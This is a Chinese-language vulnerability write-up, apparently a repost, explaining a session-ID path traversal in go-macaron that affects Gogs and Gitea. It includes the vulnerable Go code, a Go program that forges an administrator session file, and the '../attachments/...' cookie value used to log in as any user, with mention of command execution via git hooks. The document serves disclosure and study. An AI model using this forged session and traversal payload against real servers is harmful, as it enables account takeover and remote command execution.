内容简介:由于两个代码管理平台均使用了go-macaron作为web框架, 而go-macaron中的session插件并没有对sessionid进行过滤, 从而导致了可以使用任意文件作为session的bug, 登陆其他任意账号.P.S. 其实这个影响范围可以扩展到使用了go-macaron框架, 且存在文件上传的任何一个web应用中.攻击者可登陆任意账号包括管理员账号,同时可利用git hooks执行任意命令,同时存在严重的越权和命令执行问题。
漏洞成因
由于两个代码管理平台均使用了go-macaron作为web框架, 而go-macaron中的session插件并没有对sessionid进行过滤, 从而导致了可以使用任意文件作为session的bug, 登陆其他任意账号.
P.S. 其实这个影响范围可以扩展到使用了go-macaron框架, 且存在文件上传的任何一个web应用中.
影响
攻击者可登陆任意账号包括管理员账号,同时可利用git hooks执行任意命令,同时存在严重的越权和命令执行问题。
分析
在gogs及gitea中均使用了go-macaron作为web框架, 也都使用了其中的session插件, 但是在go-macaron的session插件中, 并没有对cookie中传入的session ID做任何的过滤.
在gogs及gitea的默认配置中, 均使用了文件用于保存session, 而没有过滤 ../
, ./
等关键词给我们一个将任意文件作为session文件的机会.
// Read returns raw session store by session ID. func (m *Manager) Read(sid string) (RawStore, error) { return m.provider.Read(sid) }
func (p *FileProvider) filepath(sid string) string { return path.Join(p.rootPath, string(sid[0]), string(sid[1]), sid) } func (p *FileProvider) Read(sid string) (_ RawStore, err error) { filename := p.filepath(sid) if err = os.MkdirAll(path.Dir(filename), 0700); err != nil { return nil, err } p.lock.RLock() defer p.lock.RUnlock() var f *os.File if com.IsFile(filename) { f, err = os.OpenFile(filename, os.O_RDONLY, 0600) } else { f, err = os.Create(filename) } if err != nil { return nil, err } defer f.Close() if err = os.Chtimes(filename, time.Now(), time.Now()); err != nil { return nil, err } var kv map[interface{}]interface{} data, err := ioutil.ReadAll(f) if err != nil { return nil, err } if len(data) == 0 { kv = make(map[interface{}]interface{}) } else { kv, err = DecodeGob(data) if err != nil { return nil, err } } return NewFileStore(p, sid, kv), nil }
这里, 我们以gogs为例, 进行一次测试.
首先, 对于每个用户, 我们都可以创建仓库, 通过release功能可以上传任意内容可控的文件, 从而为我们伪造session文件提供了条件.
通过explore功能, 我们能找到很多用户的仓库, 进入某用户的用户资料页面, 我们可以得到构造该用户session的所有需要的资料(uid, username).
通过上方file.go的代码, 我们发现, session文件的内容为Gob编码方式, 这里借鉴一下P神写的生成session的代码
package main import ( "bytes" "encoding/gob" "encoding/hex" "fmt" "io/ioutil" "os" ) func EncodeGob(obj map[interface{}]interface{}) ([]byte, error) { for _, v := range obj { gob.Register(v) } buf := bytes.NewBuffer(nil) err := gob.NewEncoder(buf).Encode(obj) return buf.Bytes(), err } func main() { var uid int64 = 1 obj := map[interface{}]interface{}{"_old_uid": "1", "uid": uid, "uname": "sockls"} data, err := EncodeGob(obj) if err != nil { fmt.Println(err) } err = ioutil.WriteFile("test.png", data, os.O_CREATE|os.O_WRONLY) if err != nil { fmt.Println(err) } edata := hex.EncodeToString(data) fmt.Println(edata) }
由此, 我们可以生成一段session, 通过每个用户均可使用的release上传功能, 我们将我们伪造的session上传至服务器.
对于默认配置的gogs,
release中文件存放的目录结构是, attachments/fid[0]/fid[1]/fid
.
session存放的目录结构是, sessions/sid[0]/sid[1]/sid
.
此外sessions与attachments文件夹均存放在相同的data文件夹下.
由于gogs会将session分段, 构造成最终的路径后再进行读取, 而attachments与session在同一文件夹下, 修改session为我们刚刚上传的文件的路径, 即 ../attachments/1/7/17f4120b-1a0d-416a-b0b0-def4342ded5b
, 读取session的函数将路径解析为 sessions/././../attachments/1/7/17f4120b-1a0d-416a-b0b0-def4342ded5b
也就是我们上传的那个文件, 从而完成了任意用户登陆.
通过仓库的git hook也可以完成命令执行.
此外如果我们通过explore中找到的用户刚好为管理员用户, 则可以使用管理员面板.
修复方式
更新至最新版.
参考资料
以上就是本文的全部内容,希望对大家的学习有所帮助,也希望大家多多支持 码农网
猜你喜欢:- Hive 底层执行流程
- 聊聊 Hystrix 命令执行流程
- 聊聊 Hystrix 命令执行流程
- MyBatis执行流程的各阶段介绍
- Lararel 框架执行流程详解(1) 入口文件
- MyBatis 源码解析(二):SqlSession 执行流程
本站部分资源来源于网络,本站转载出于传递更多信息之目的,版权归原作者或者来源机构所有,如转载稿涉及版权问题,请联系我们。
Thinking Recursively
Eric S. Roberts / Wiley / 1986-1-17 / USD 85.67
The process of solving large problems by breaking them down into smaller, more simple problems that have identical forms. Thinking Recursively: A small text to solve large problems. Concentrating on t......一起来看看 《Thinking Recursively》 这本书的介绍吧!